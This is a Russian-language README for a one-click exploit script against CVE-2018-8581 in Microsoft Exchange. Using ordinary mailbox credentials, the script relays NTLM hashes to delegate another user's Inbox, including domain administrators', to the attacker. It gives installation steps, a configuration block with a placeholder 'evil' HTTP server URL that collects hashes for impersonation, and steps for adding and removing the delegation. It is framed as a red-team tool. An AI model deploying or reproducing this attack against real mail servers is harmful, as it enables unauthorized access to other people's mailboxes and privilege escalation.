
CVE-2018-8581
Это уязвимость горизонтального перемещения и повышения привилегий на уровне почтового ящика.
Имея учётные данные обычной почтовой учётной записи, она позволяет выполнить перехват через делегирование доступа к почтовому ящику других пользователей (включая администраторов домена).
Данный EXP-скрипт — это улучшенная однокнопочная версия, основанная на оригинальном PoC. После настройки соответствующих параметров он автоматически выполняет добавление и удаление делегирования для папки Inbox целевого почтового ящика, чтобы помочь службе безопасности заказчика и red team провести имитацию атаки на авторизованное предприятие.
Оригинальный PoC использует два скрипта совместно для добавления правила получения почты, что не очень практично в реальной работе red team заказчика. Кроме того, оригинальному PoC помимо почтового ящика требуется ещё и SID целевого пользователя. Однако метод получения SID пользователя, описанный в статье, мне не удалось воспроизвести в реальной среде ни на Exchange Server 2010, ни на 2013 (в 2010 нет соответствующих опций, в 2013 — недостаточно прав). В итоге я решил сначала выполнить обратное делегирование для получения SID целевого пользователя, а затем удалить делегирование.
Установите python-ntlm
pip install python-ntlm
Настройте параметры в следующем коде скрипта
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
Запустите скрипт, затем отхлебните чай с годжи и подождите минуту
![]()
На этом этапе папка Inbox пользователя TARGET_EMAIL успешно делегирована пользователю CONTROLLED_EMAIL
Просмотрите папку входящих целевого почтового ящика в OWA или Outlook
Измените FLAG на 0, снова запустите скрипт, снова отхлебните чай с годжи и снова подождите минуту — делегирование, добавленное ранее, будет удалено
Доступ снова невозможен (недостаточно прав)
Python 2.7.14
Exchange Server 2010 SP2
Exchange Server 2013
Больше запросов EWS SOAP API можно изменять внутри функции make_relay_body().
Скрипт предназначен только для обучения и обмена опытом. Пользователь обязан соблюдать местное законодательство. Автор не несёт ответственности за любые последствия при использовании скрипта в иных целях. Скачивая и используя скрипт, вы соглашаетесь с вышеуказанными условиями.